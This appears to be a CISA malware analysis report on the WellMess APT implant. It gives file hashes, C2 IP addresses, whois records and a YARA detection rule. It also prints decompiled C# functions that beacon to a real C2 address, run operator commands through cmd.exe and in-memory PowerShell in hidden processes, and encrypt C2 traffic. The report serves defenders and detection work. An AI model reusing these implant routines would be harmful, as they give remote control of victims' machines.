

MAR-10296782-2.v1 – WELLMESS | CISA

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Summary

Description

The Malware Analysis Report (MAR) is the result of analytic efforts by the Cybersecurity and Infrastructure Security Agency (CISA). This malware has been identified as WELLMESS. Advanced persistent threat (APT) groups have been identified using this malware. For more information regarding this malware, please visit:

<https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development>

This report analyzes six unique files. The files are variants of the malware family known as "WellMess". These implants allow a remote operator to establish encrypted command and control (C2) sessions and to securely pass and execute scripts on an infected system.

The WellMess samples include one 32-bit Windows executable and five Executable and Linkable Format (ELF) files written in Go, an open source programming language. The report includes analysis of a compiled .NET application extracted from one of the 32-bit Windows executables.

The ELF and 32-bit Windows executables have similar functionality; both collect the state of system privileges (disabled or enabled) from the infected system and encrypt the data via a Rivest cipher 6 (RC6) algorithm, then dynamically generate Advanced Encryption Standard (AES) keys, which are exchanged via a Rivest–Shamir–Adleman (RSA) secured key transfer scheme. Both versions also allow an operator to pass AES encrypted executable scripts to infected systems.

For a downloadable copy of IOCs, see [MAR-10296782-2.v1.stix](#).

Submitted Files (6)

14e9b5e214572cb13ff87727d680633f5ee238259043357c94302654c546cad2 (14e9b5e214572cb13ff87727d68063...)

5ca4a9f6553fea64ad2c724bf71d0fac2b372f9e7ce2200814c98aac647172fb (5ca4a9f6553fea64ad2c724bf71d0f...)

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953b5fc9977e2d50f3f72c6ce85e89428937117830c0ed67d468e2d93aa7ec9a (953b5fc9977e2d50f3f72c6ce85e89...)

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fd3969d32398bbe3709e9da5f8326935dde664bbc36753bd41a0b111712c0950 (fd3969d32398bbe3709e9da5f83269...)

Additional Files (1)

47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854 (WellMess.net.extract.bin)

IPs (5)

103.73.188.101

141.98.212.55

192.48.88.107

209.58.186.196

85.93.2.116

Findings

953b5fc9977e2d50f3f72c6ce85e89428937117830c0ed67d468e2d93aa7ec9a

Tags

trojan

Details

Name	953b5fc9977e2d50f3f72c6ce85e89428937117830c0ed67d468e2d93aa7ec9a
Size	172032 bytes
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	f18ced8772e9d1a640b8b4a731dfb6e0
SHA1	92f7b470c5a2c95a4df04c2c5cd50780f6dbdda1
SHA256	953b5fc9977e2d50f3f72c6ce85e89428937117830c0ed67d468e2d93aa7ec9a
SHA512	c4ac5332ee27b3da002c8a55a1e99aefeb503a69b8eb1ce9310bcb12131d56d2efe70f50942461ec9e7c628e3d1a5f13c92faa6bb6b1c263acbe4
ssdeep	1536:Lo7PHWHfGE50u3J0cMuNjdbOYOL68q4ATMMx4pnMgqZ5C/yOCy2UpiPKsNoellnt:E7PHwJdbJOOvkuC/yOH2CiP0ie1XF
Entropy	3.887546

Antivirus

BitDefender	Gen:Variant.Razy.279280
ClamAV	Win.Trojan.WellMess-6706033-0
Emsisoft	Gen:Variant.Razy.279280 (B)
McAfee	GenericRXEI-SR!F18CED8772E9
NANOAV	Trojan.Win32.WellMess.fignvr
Quick Heal	Trojan.Wellmess

YARA Rules

- rule CISA_10296782_01 : trojan WELLMESS


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{
  meta:
    Author = "CISA Code & Media Analysis"
    Date = "2020-07-06"
    Last_Modified = "20200706_1017"
    Actor = "n/a"
    Category = "Trojan"
    Family = "WellMess"
    Description = "Detects WellMess implant and SangFor Exploit"
    MD5_1 = "4d38ac3319b167f6c8acb16b70297111"
    SHA256_1 = "7c39841ba409bce4c2c35437ecf043f22910984325c70b9530edf15d826147ee"
    MD5_2 = "a32e1202257a2945bf0f878c58490af8"
    SHA256_2 = "a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064"
    MD5_3 = "861879f402fe3080ab058c0c88536be4"
    SHA256_3 = "14e9b5e214572cb13ff87727d680633f5ee238259043357c94302654c546cad2"
    MD5_4 = "2f9f4f2a9d438cdc944f79bdf44a18f8"
      
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SHA256_4 = "e329607379a01483fc914a47c0062d5a3a8d8d65f777fbad2c5a841a90a0af09"
MD5_5 = "ae7a46529a0f74fb83beeb1ab2c68c5c"
SHA256_5 = "fd3969d32398bbe3709e9da5f8326935dde664bbc36753bd41a0b111712c0950"
MD5_6 = "f18ced8772e9d1a640b8b4a731dfb6e0"
SHA256_6 = "953b5fc9977e2d50f3f72c6ce85e89428937117830c0ed67d468e2d93aa7ec9a"
MD5_7 = "3a9cdd8a5cbc3ab10ad64c4bb641b41f"
SHA256_7 = "5ca4a9f6553fea64ad2c724bf71d0fac2b372f9e7ce2200814c98aac647172fb"
MD5_8 = "967fcf185634def5177f74b0f703bdc0"
SHA256_8 = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
MD5_9 = "c5d5cb99291fa4b2a68b5ea3ff9d9f9a"
SHA256_9 = "65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75"
MD5_10 = "01d322dcac438d2bb6bce2bae8d613cb"
SHA256_10 = "0c5ad1e8fe43583e279201cdb1046aea742bae59685e6da24e963a41df987494"
MD5_11 = "8777a9796565effa01b03cf1cea9d24d"
SHA256_11 = "83014ab5b3f63b0253cdab6d715f5988ac9014570fa4ab2b267c7cf9ba237d18"
MD5_12 = "507bb551bd7073f846760d8b357b7aa9"
SHA256_12 = "47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854"

strings:

\$0 = "/home/ubuntu/GoProject/src/bot/botlib/chat.go"
\$1 = "/home/ubuntu/GoProject/src/bot/botlib.Post"
\$2 = "GoProject/src/bot/botlib.deleteFile"
\$3 = "ubuntu/GoProject/src/bot/botlib.generateRandomString"
\$4 = "GoProject/src/bot/botlib.AES_Decrypt"
\$5 = { 53 00 63 00 72 00 69 00 70 00 74 00 00 0F 63 00 6D 00 64 00 2E 00 65 00 78 00 65 00 00 07 2F 00 63 }
\$6 = { 3C 00 6E 00 77 00 3E 00 2E 00 2A 00 29 00 00 0B 24 00 7B 00 66 00 6E 00 7D }
\$7 = { 7B 00 61 00 72 00 67 00 7D 00 00 0B 24 00 7B 00 6E 00 77 00 7D }
\$8 = { 52 61 6E 64 6F 6D 53 74 72 69 6E 67 00 44 65 6C 65 74 65 46 69 6C 65 }
\$9 = "get_keyRC6"
\$10 = { 7D A3 26 77 1D 63 3D 5A 32 B4 6F 1F 55 49 44 25 }
\$11 = { 47 C2 2F 35 93 41 2F 55 73 0B C2 60 AB E1 2B 42 }
\$12 = { 53 58 9B 17 1F 45 BD 72 EC 01 30 6C 4F CA 93 1D }
\$13 = { 48 81 21 81 5F 53 3A 64 E0 ED FF 21 23 E5 00 12 }
\$14 = "GoProject/src/bot/botlib.wellMess"
\$15 = { 62 6F 74 6C 69 62 2E 4A 6F 69 6E 44 6E 73 43 68 75 6E 6B 73 }
\$16 = { 62 6F 74 6C 69 62 2E 45 78 65 63 }
\$17 = { 62 6F 74 6C 69 62 2E 47 65 74 52 61 6E 64 6F 6D 42 79 74 65 73 }
\$18 = { 62 6F 74 6C 69 62 2E 4B 65 79 }
\$19 = { 7F 16 21 9D 7B 03 CB D9 17 3B 9F 27 B3 DC 88 0F }
\$20 = { D9 BD 0A 0E 90 10 B1 39 D0 C8 56 58 69 74 15 8B }

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$21 = { 44 00 59 00 4A 00 20 00 36 00 47 00 73 00 62 00 59 00 31 00 2E }

$22 = { 6E 00 20 00 46 00 75 00 7A 00 2C 00 4B 00 5A 00 20 00 33 00 31 00 69 00 6A 00 75 }

$23 = { 43 00 31 00 69 00 76 00 66 00 39 00 32 00 20 00 56 00 37 00 6C 00 4F 00 48 }

$24 = { 66 69 6C 65 4E 61 6D 65 3A 28 3F 50 3C 66 6E 3E 2E 2A 3F 29 5C 73 61 72 67 73 3A 28 3F 50 3C 61
72 67 3E 2E 2A 3F }

$25 = { 5C 00 2E 00 53 00 61 00 6E 00 67 00 66 00 6F 00 72 00 55 00 44 00 2E 00 73 00 75 00 6D }

$26 = { 66 6F 72 6D 2D 64 61 74 61 3B 20 6E 61 6D 65 3D 22 5F 67 61 22 3B 20 66 69 6C 65 6E 61 6D 65 3D }

$27 = { 40 5B 5E 5C 73 5D 2B 3F 5C 73 28 3F 50 3C 74 61 72 3E 2E 2A 3F 29 5C 73 27 }

condition:

($0 and $1 and $2 and $3 and $4) or ($5 and $6 and $7 and $8 and $9) or ($10 and $11) or ($12 and $13) or ($14)
or ($15 and $16 and $17 and $18) or ($19 and $20) or ($21 and $22 and $23) or ($24) or ($25 and $26) or ($27)

}
    
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ssdeep Matches

No matches found.

PE Metadata

Compile Date	2018-03-28 07:14:10-04:00
Import Hash	f34d5f2d4577ed6d9ceec516c1f5a744
Company Name	Microsoft Corporation
File Description	Power Settings Command-Line Tool
Internal Name	powercfg.exe
Legal Copyright	© Microsoft Corporation. All rights reserved.
Original Filename	powercfg.exe
Product Name	Microsoft® Windows® Operating System
Product Version	6.1.7600.16385 (win7_rtm.090713-1255)

PE Sections

MD5	Name	Raw Size	Entropy
b90f84adffd98c3c63291dc54f766f18	header	4096	0.462120
25e1daba00e54a31c1d9bb459988f669	.text	159744	4.056043
bb5030c93de573a2819699404e0436be	.rsrc	4096	2.256683
f662c2f95c916d5bd4f0c939236a81e9	.reloc	4096	0.016408

Packers/Compilers/Cryptors

Microsoft Visual C# v7.0 / Basic .NET

Relationships

953b5fc997...	Created	47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854
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Description

This file is a malicious compiled .NET application. It decrypts and loads an embedded dynamic link library (DLL) "WellMess.net.extract.bin" (47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854).

Screenshots

Figure 1 - Screenshot of the code structure which decrypts the embedded DLL.

47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854

Tags

trojan

Details

Name	WellMess.net.extract.bin
Size	45056 bytes
Type	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	507bb551bd7073f846760d8b357b7aa9
SHA1	23033dcad2d60574ea8a65862431f46b950e54c3
SHA256	47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854
SHA512	fbad8f6e4c2a49ad7e030bfc069b830027942383a5429ac129ba4880c7f90d9e1ec84186755cbb61c39b41096d7969fa5e1e7a13918d1677045f
ssdeep	768:vLTf79aYyUghmohyWdDZo/G9sklJL+9Ok/JSbrvfMAQ:/fMtYG9PB+9OyYXHhQ
Entropy	4.625315

Antivirus

No matches found.

YARA Rules

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meta:
Author = "CISA Code & Media Analysis"
Date= "2020-07-06"
Last_Modified="20200706_1017"
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condition:

(\$0 and \$1 and \$2 and \$3 and \$4) or (\$5 and \$6 and \$7 and \$8 and \$9) or (\$10 and \$11) or (\$12 and \$13) or (\$14) or (\$15 and \$16 and \$17 and \$18) or (\$19 and \$20) or (\$21 and \$22 and \$23) or (\$24) or (\$25 and \$26) or (\$27)

}

ssdeep Matches

No matches found.

PE Metadata

Compile Date	2018-03-27 09:22:21-04:00
Import Hash	dae02f32a21e03ce65412f6e56942daa
Company Name	Microsoft Corporation
File Description	
Internal Name	x643.Microsoft.Dtc.PowerShell.dll
Legal Copyright	Copyright (c) Microsoft Corporation. All rights reserved.
Original Filename	x643.Microsoft.Dtc.PowerShell.dll
Product Name	Microsoft (R) Windows (R) Operating System
Product Version	10.0.14393.0

PE Sections

MD5	Name	Raw Size	Entropy
668481e5e1971f610581ea0b01b617b5	header	4096	0.434226
ced7014e20c39fba49386f6aef5e1203	.text	32768	5.701312
1d4922f19bd3e79cfd93cd91be7af27	.rsrc	4096	1.150437
da55cd9f0f50ad5c8200ca03bfaa4be	.reloc	4096	0.013127

Packers/Compilers/Cryptors

Microsoft Visual C# v7.0 / Basic .NET

Relationships

47cdb87c27...	Connected_To	85.93.2.116
47cdb87c27...	Created_By	953b5fc9977e2d50f3f72c6ce85e89428937117830c0ed67d468e2d93aa7ec9a

Description

This file is a compiled .NET application. It has been identified as a variant of the WellMess malware family. Displayed below is a function named "HXYGVr()" which was extracted from this application:

—Begin Extracted Function—

```
public void HXYGVr()
{
    Variable.url = "hxxp[:]//85.93.2.116";
    string Address = "";
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Variable.proxy = !string.IsNullOrEmpty(Address) ? new WebProxy(Address) : (WebProxy) null;

Variable.serverType = "GO";

Variable.userAgent = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20130331 Firefox/21.0";

Variable.maxPostSize = 5000000;

Variable.keyRC6 = "UJqqarUGKm1kR1mQMf5K2g==";

Key publicKey;

publicKey.keySize = 2048;

publicKey.publicKey = "<RSAKeyValue>
<Modulus>4Dy24gTFNYA/jq6SYiAkdRvY1ieWqM9R8dwo0uL+4GzaRObZEoUaZSHhvfED1v762+duL1LgAcuXJeRg4PB4cGdpZqjKtB2BKIDJv3h2
</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>";

Variable.interval = 12.0;

if (!this.IsInit)
{
    Init init = new Init(publicKey);

    this.Hash = Variable.hash;

    this.Skey = Variable.keySymm;

    this.IsInit = true;

    this.Ua = Variable.userAgent;

    this.MaxPostSize = Variable.maxPostSize;

    this.HealthInterval = Variable.interval;
}

else
{
    Variable.hash = this.Hash;

    Variable.keySymm = this.Skey;

    Variable.userAgent = this.Ua;

    Variable.maxPostSize = this.MaxPostSize;

    Variable.interval = this.HealthInterval;

    Dictionary<string, string> segmentsMessage = Chat.Download(Variable.hash, "rc", string.Empty);

    if (segmentsMessage["head"] == "G")
    {
        this.Complete = true;

        if (!this.Hx)
            return;

        Chat.Send(Encoding.UTF8.GetBytes("Missed me?"), Variable.keySymm, Variable.hash + "/h", "a", "h",
Variable.maxPostSize);
    }

    else if (segmentsMessage["head"] == "C")
    {
        new Chunks().Join((object) new ChatParameters()
```

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{
    segmentsMessage = segmentsMessage
});
this.Complete = false;
Thread.Sleep(20000);
}
else if (segmentsMessage["service"] == "p")
{
    Init init = new Init(publicKey);
    this.Hash = Variable.hash;
    this.Skey = Variable.keySymm;
    this.Complete = false;
}
else
{
    new Choise().Work(segmentsMessage);
    this.Complete = false;
    this.Ua = Variable.userAgent;
    this.MaxPostSize = Variable.maxPostSize;
    this.HealthInterval = Variable.interval;
}
}
}

```

—End Extracted Function—

This function appears to be the main export of the DLL, which initiates a C2 session with the implants remote C2 server at the Internet Protocol (IP) address, 85.93.2.116. Contained within the function is a public RSA key utilized by the malware to secure communication with its C2 server. The function also contains an RC6 cryptographic key, which is utilized to secure state information within the C2 sessions, such as a unique hash value which is generated to identify the unique target system.

The malware accepts and executes PowerShell and batch scripts from a remote operator on the infected system. These executable scripts will be provided within a C2 session that is secured with AES encryption. In addition, the AES key transfer process between the implant and the remote operator will be encrypted utilizing RSA asymmetric cryptography making the detection of malicious executable code traveling over the network difficult to detect. The function which provides the script execution capability is illustrated below. Note: the execution of a script using this method will result in a separate malicious process:

—Begin Command Function—

```

public void Command(object message)
{
    ChatParameters chatParameters = (ChatParameters) message;
    try
    {
        string s = string.Empty;

        Match match = new Regex("fileName:(?<fn>.*?)\\sargs:(?<arg>.*?)\\snotwait:(?<nw>.*?)", RegexOptions.IgnoreCase |
        RegexOptions.Multiline | RegexOptions.Singleline).Match(chatParameters.segmentsMessage["body"]);

        string str1 = match.Result("${fn}").ToString();
    }
}

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string script = match.Result("${arg}").ToString();
string str2 = match.Result("${nw}").ToString();

Process process = new Process();

ProcessStartInfo processStartInfo = new ProcessStartInfo();

processStartInfo.CreateNoWindow = true;

processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;

processStartInfo.UseShellExecute = false;

processStartInfo.RedirectStandardOutput = true;

processStartInfo.FileName = str1;

if (str1 == "powershellScript")
{
    s = BotChat.Pshell(script);
}
else
{
    if (!string.IsNullOrEmpty(script))
        processStartInfo.Arguments = !(str1 == "cmd.exe") ? script : "/c " + script;

    process.StartInfo = processStartInfo;

    process.Start();

    if (string.IsNullOrEmpty(str2))
    {
        s = process.StandardOutput.ReadToEnd();

        process.WaitForExit();
    }
}

process.Close();

this.Reply(Encoding.UTF8.GetBytes(s), chatParameters.segmentsMessage["head"],
chatParameters.segmentsMessage["service"]);
}

catch (Exception ex)
{
    this.Reply(Encoding.UTF8.GetBytes(ex.Message.ToString()), chatParameters.segmentsMessage["head"],
chatParameters.segmentsMessage["service"]);

    Thread.Sleep(1000);
}
}

—End Command Function—
```

The implant can also run PowerShell scripts directly from memory. The malware contains the following function providing this capability. Note: executing a PowerShell script using this method will not result in a separate malicious process.

—Begin PowerShell Function—

```
private static string Pshell(string script)
{
    string empty = string.Empty;
    Collection<PSObject> collection;
    using (Runspace runspace = RunspaceFactory.CreateRunspace())
    {
        try
        {
            runspace.Open();
            using (PowerShell powerShell = PowerShell.Create())
            {
                powerShell.Runspace = runspace;
                ScriptBlock scriptBlock = ScriptBlock.Create(script);
                powerShell.AddCommand("Invoke-Command").AddParameter("ScriptBlock", (object) scriptBlock);
                collection = powerShell.Invoke();
            }
        }
        finally
        {
            runspace.Close();
        }
    }
    foreach (PSObject psObject in collection)
    {
        empty += psObject.ToString();
    }
    return empty;
}
```

—End PowerShell Function—

Displayed below is sample communication traffic between this WellMess implant and its C2 server.

—Begin Sample Network Traffic—

POST / HTTP/1.1

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20130331 Firefox/21.0

Content-Type: application/x-www-form-urlencoded

Accept: text/html, */*

Accept-Language: en-US,en;q=0.8

Cookie:

4NJZrNBI=80WOGU+5py+Cq0GVi+JMiq6ka+x%3aGeT+%3a7jpfqo+q1%3aa+6j9Delt+yDQ+SpTmS5+T5TpR.+DwUNdr+gjsJf+svT+Byw+sysM.+A

Host: 85.93.2.116

Content-Length: 798

Expect: 100-continue

Accept-Encoding: deflate

Connection: Keep-Alive

PXYaTG AoW 0gVV4R xKRORQU em5Jz OqxlVM PweS oOVI30A 1oZ OgLqNp JyA1q. Dos2gp N0c3C q:d tKX IdNx. zkTbV QmOjB HXU::fp eUN4 jBOI. RICFb xOTaSL C0k:BKg EGVy fsoDDZ. arfb ,2fvY xYlkGpW ,D6 ikXZ6. kJT 6N82Au ,2Uf t7mOYW9 DLyAy. CF60ZX TIswg X7XBA: E6Xj2a unGhGIR. fir 1rH1jkG QPEc t1I53 iED. aomEaY n84rKx ECxZ0K yeDLh4 suZyqzp. ITxjQq b58:jvm lsOT AC,o mlM1. V3oUd U6bU:y8 WzJ8t pWUN76I KxnVY3. uUTz,K jDK qba yqU 1AvBN. pVg 3Duu 34IA g9jZc pr77J. 0h8lQGU lm3ReWd F2SB 7Yes fk1J. ndl8o tpzJ NhXH bjNO 8nm:Aqm. l0HHBo dOypEfA hja IAQ ,NUHFF7. yt, F:Gp OU1 S3e4GZ NU7HvZW. hAINPwR kDCE2Ev cQiiXU TXY Kpt. prnvUns el4sMa 9do tw: eisS58C. d2wKh :T0F kxk mZTI jU1. 4y:Y6l YQgZ6t 0uANCK2 UpHCRC2 cbgnSm. UFu k:cIT cBH5 Fxk 2Jk. ErKKHod 0dgeQ5e 7MV 8PH0 tsUn. dMd,glf x3Q ZpNEDt FnvMxh IM:p:. lbabsz3EA

—End Sample Network Traffic—

Contained within the “Cookie:” section of the data is simple session information, including a hash that is unique to the target system. The unique hash generated from the target system is computed by calculating the SHA256 hash of various pieces of information about the victim system pieced together into a single string (Figure 2). These pieces of information include the computer name, session name, computer name, and user domain.

This data is RC6 encrypted with a hard-coded key and then Base64 encoded. This Base64 encoding is then encoded with the following algorithm which generates slightly modified Base64 data that appears to contain spaces between different parts of the original Base64 encoded data:

—Begin FromBase64ToNormal Function—

```
public static string FromBase64ToNormal(string base64Str)
{
    int num1 = 0;

    int length1 = base64Str.Length;

    string str1 = base64Str.Replace("-", " ");

    base64Str = string.Empty;

    string str2 = str1.Replace('+', ',');

    string empty1 = string.Empty;

    string str3 = str2.Replace('/', ':');

    string empty2 = string.Empty;

    StringBuilder stringBuilder = new StringBuilder();

    int length2 = str3.TrimEnd().Length;

    Random random = new Random();

    int startIndex = 0;

    while (startIndex < length2 - 9)
    {
        int length3 = random.Next(3, 8);

        int num2 = startIndex + length3;

        if (num1 > 5 && num1 % 5 == 0)

            stringBuilder.Append(str3.Substring(startIndex, length3) + " ");

        else

            stringBuilder.Append(str3.Substring(startIndex, length3) + " ");

        startIndex = num2;

        ++num1;
    }

    stringBuilder.Append(str3.Substring(startIndex));
}
```

```

string empty3 = string.Empty;

return stringBuilder.ToString();

}

```

—End FromBase64ToNormal Function—

The newly encoded string is then broken into two separate parts. The split in the string happens at a random offset (Figure 3). The two new parts of the string are then prepended with random strings followed by an “=” character. Both of the strings are then Uniform Resource Locator (URL) encoded.

Upon execution, the malware generates an AES key which will be used during C2 sessions. This key is generated via the following function:

—Begin AES Key Generation Function—

```

public static Dictionary<string, byte[]> GenerateSymmKey()

{

Dictionary<string, byte[]> dictionary = new Dictionary<string, byte[]>();

byte[] hash = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(Membership.GeneratePassword(16, 4)));

byte[] randomBytes = GenerateKeys.GetRandomBytes(8);

using (RijndaelManaged rijndaelManaged = new RijndaelManaged())

{

rijndaelManaged.KeySize = 256;

rijndaelManaged.BlockSize = 128;

Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(hash, randomBytes, 1000);

rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);

rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);

dictionary.Add("Key", rijndaelManaged.Key);

dictionary.Add("IV", rijndaelManaged.IV);

}

return dictionary;

}

```

—End AES Key Generation Function—

The malware also contains the following hard-coded public RSA key:

—Begin Pub RSA Key—

```

<RSAKeyValue>
<Modulus>4Dy24gTFNYA/jq6SYiAkdRvY1ieWqM9R8dwo0uL+4GzaRObZEoUaZSHhvfED1v762+duL1LgAcuXJeRg4PB4cGdpZqjKtB2BKIDJv3h2
</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>

```

—End Pub RSA Key—

The encrypted portion of the callout in the main body of the POST is the dynamically generated AES key encrypted with the hard-coded RSA public key. The following function is utilized to conduct the initial C2 connection to the C2 server. The “Message” variable argument will contain the dynamically generated AES key encrypted utilizing the embedded RSA public key.

—Begin SendMessage Function—

```

public void SendMessage(string Message, string idMess, string askOrReply, string service)

{

TransportProtocol transportProtocol = new TransportProtocol();

```

```
string message = transportProtocol.FullMessage(idMess, askOrReply, service);

string service1 = new RC6(Convert.FromBase64String(Variable.keyRC6), Variable._serverType).Encrypt(message);

Dictionary<HttpStatusCode, List<string>> dictionary = transportProtocol.Post(Message, service1, true);

for (int index = 0; !dictionary.ContainsKey(HttpStatusCode.OK) && index < 3; ++index)

{

    Thread.Sleep(new Random().Next(5, 20) * 1000);

    dictionary = transportProtocol.Post(Message, service1, true);

}

}
```

—End SendMessage Function—

The malware contains a function named “DownloadVar” which allows the malware to receive and parse messages from the remote operator. As illustrated, the malware will decrypt the body of these messages using the dynamically generated AES key mentioned above.

—Begin DownloadVar Function—

```
private static Dictionary<string, string> DownloadVar(

    string idMess,

    string askOrReply,

    string service,

    bool client)

{

    List<string> message = new Transport().ReceiveMessage(idMess, askOrReply, service, client);

    try

    {

        Dictionary<string, string> dictionary = new ParseMessage(message[0]).Parse();

        if (!dictionary.ContainsKey("body"))

            dictionary.Add("body", message[1]);

        if (dictionary[nameof (service)] == "p" || dictionary["head"] == "C" || dictionary["head"] == "G" || !client)

            return dictionary;

        if (string.IsNullOrEmpty(dictionary["body"]))

            return dictionary;

        try

        {

            byte[] numArray = SymmCrypto.AES_Decrypt(Convert.FromBase64String(dictionary["body"]), Variable.keySymm);

            dictionary["body"] = !dictionary[nameof (service)].StartsWith("f") ? Message.UnPack(numArray) :

            Message.UnPackB(numArray);

            return dictionary;

        }

        catch (FormatException ex)

        {

            return (Dictionary<string, string>) null;

        }

    }

}
```

```
    }  
  }  
  catch (Exception ex)  
  {  
    return (Dictionary<string, string>) null;  
  }  
}
```

—End DownloadVar Function—

Screenshots

Figure 2 - Data contained within the "cookie:" header of the initial traffic to the remote C2, being encrypted with RC6.

Figure 3 - Malware generating hash unique for the victim system. This hash value in an encrypted and encoded format will be included in the "cookie:" header of the transmissions to the C2 server.

Figure 4 - Encrypted "cookie:" header being formatted for transmission of the remote C2 server.

85.93.2.116

Tags

command-and-control

Whois

Queried whois.ripe.net with "-B 85.93.2.116"...

% Information related to '85.93.2.0 - 85.93.2.255'

% Abuse contact for '85.93.2.0 - 85.93.2.255' is 'noc@lubnanet.com'

inetnum: 85.93.2.0 - 85.93.2.255

netname: Arcompus-Medianet

descr: Arcompus-Medianet

country: LB

org: ORG-AMIS1-RIPE

admin-c: AMN61-RIPE

tech-c: AMN61-RIPE

status: ASSIGNED PA

mnt-by: arcompusmedia-mnt

created: 2015-10-05T12:27:29Z

last-modified: 2015-10-05T12:27:59Z

source: RIPE

organisation: ORG-AMIS1-RIPE

org-name: Arcompus Medianet Int. SARL

org-type: OTHER

address: Baabda

address: Lebanon

e-mail: noc@lubnanet.com

abuse-c: AC32241-RIPE

mnt-ref: arcompusmedia-mnt
 mnt-by: arcompusmedia-mnt
 created: 2015-10-02T07:33:53Z
 last-modified: 2020-01-03T08:52:39Z
 source: RIPE
 role: Network Operations Centre
 address: 15 Saed Fraiha,
 address: Baabda, 1003,
 address: Lebanon
 e-mail: noc@lubnanet.com
 abuse-mailbox: noc@lubnanet.com

nic-hdl: AMN61-RIPE
 mnt-by: arcompusmedia-mnt
 created: 2015-10-02T07:36:29Z
 last-modified: 2020-01-03T08:31:27Z
 source: RIPE

% Information related to '85.93.2.0/24AS203913'

route: 85.93.2.0/24
 descr: ArcompusMedia
 origin: AS203913
 mnt-by: arcompusmedia-mnt
 created: 2015-12-15T16:27:03Z
 last-modified: 2018-02-06T10:01:56Z
 source: RIPE

% This query was served by the RIPE Database Query Service version 1.97.2 (ANGUS)

Relationships

85.93.2.116	Connected_From	47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854
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Description

47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854 attempts to connect to the IP address.

5ca4a9f6553fea64ad2c724bf71d0fac2b372f9e7ce2200814c98aac647172fb

Tags

trojan

Details

Name	5ca4a9f6553fea64ad2c724bf71d0fac2b372f9e7ce2200814c98aac647172fb
Size	6900178 bytes
Type	ELF 64-bit LSB executable, x86-64, version 1 (SYSV)
MD5	3a9cdd8a5cbc3ab10ad64c4bb641b41f
SHA1	e45f89c923d0361ce8f9c64a63031860a76b2d10

SHA256	5ca4a9f6553fea64ad2c724bf71d0fac2b372f9e7ce2200814c98aac647172fb
SHA512	2d1d26081637c925fb6ae5f92b278f87a8253fd65a75c44fdc2c513a24dc9e0658c552ebc9c9c76c70ad948c60901e682184a833aae51a8c4d62
ssdeep	49152:hPyt5H89G+YrbjVWmiUMNqb054dzNidEp+rt1D5TvLlcpigaB5IDPmoFjPnMBbs0:hqHaQKNzVLlhLopfMlsnh8K54
Entropy	6.016965

Antivirus

Antiy	Trojan/Linux.WellMess
BitDefender	Trojan.Linux.Generic.173705
ESET	a variant of Linux/WellMess.B trojan
Emsisoft	Trojan.Linux.Generic.173705 (B)

YARA Rules

- rule CISA_10296782_01 : trojan WELLMESS
 - {
 - meta:
 - Author = "CISA Code & Media Analysis"
 - Date = "2020-07-06"
 - Last_Modified = "20200706_1017"
 - Actor = "n/a"
 - Category = "Trojan"
 - Family = "WellMess"
 - Description = "Detects WellMess implant and SangFor Exploit"
 - MD5_1 = "4d38ac3319b167f6c8acb16b70297111"
 - SHA256_1 = "7c39841ba409bce4c2c35437ecf043f22910984325c70b9530edf15d826147ee"
 - MD5_2 = "a32e1202257a2945bf0f878c58490af8"
 - SHA256_2 = "a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064"
 - MD5_3 = "861879f402fe3080ab058c0c88536be4"
 - SHA256_3 = "14e9b5e214572cb13ff87727d680633f5ee238259043357c94302654c546cad2"
 - MD5_4 = "2f9f4f2a9d438cdc944f79bdf44a18f8"
 - SHA256_4 = "e329607379a01483fc914a47c0062d5a3a8d8d65f777fbad2c5a841a90a0af09"
 - MD5_5 = "ae7a46529a0f74fb83beeb1ab2c68c5c"
 - SHA256_5 = "fd3969d32398bbe3709e9da5f8326935dde664bbc36753bd41a0b111712c0950"
 - MD5_6 = "f18ced8772e9d1a640b8b4a731dfb6e0"
 - SHA256_6 = "953b5fc9977e2d50f3f72c6ce85e89428937117830c0ed67d468e2d93aa7ec9a"
 - MD5_7 = "3a9cdd8a5cbc3ab10ad64c4bb641b41f"
 - SHA256_7 = "5ca4a9f6553fea64ad2c724bf71d0fac2b372f9e7ce2200814c98aac647172fb"
 - MD5_8 = "967fcf185634def5177f74b0f703bdc0"
 - SHA256_8 = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
 - MD5_9 = "c5d5cb99291fa4b2a68b5ea3ff9d9f9a"
 - SHA256_9 = "65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75"

MD5_10 = "01d322dcac438d2bb6bce2bae8d613cb"
SHA256_10 = "0c5ad1e8fe43583e279201cdb1046aea742bae59685e6da24e963a41df987494"
MD5_11 = "8777a9796565effa01b03cf1cea9d24d"
SHA256_11 = "83014ab5b3f63b0253cdab6d715f5988ac9014570fa4ab2b267c7cf9ba237d18"
MD5_12 = "507bb551bd7073f846760d8b357b7aa9"
SHA256_12 = "47cdb87c27c4e30ea3e2de620bed380d5aed591bc50c49b55fd43e106f294854"

strings:

\$0 = "/home/ubuntu/GoProject/src/bot/botlib/chat.go"
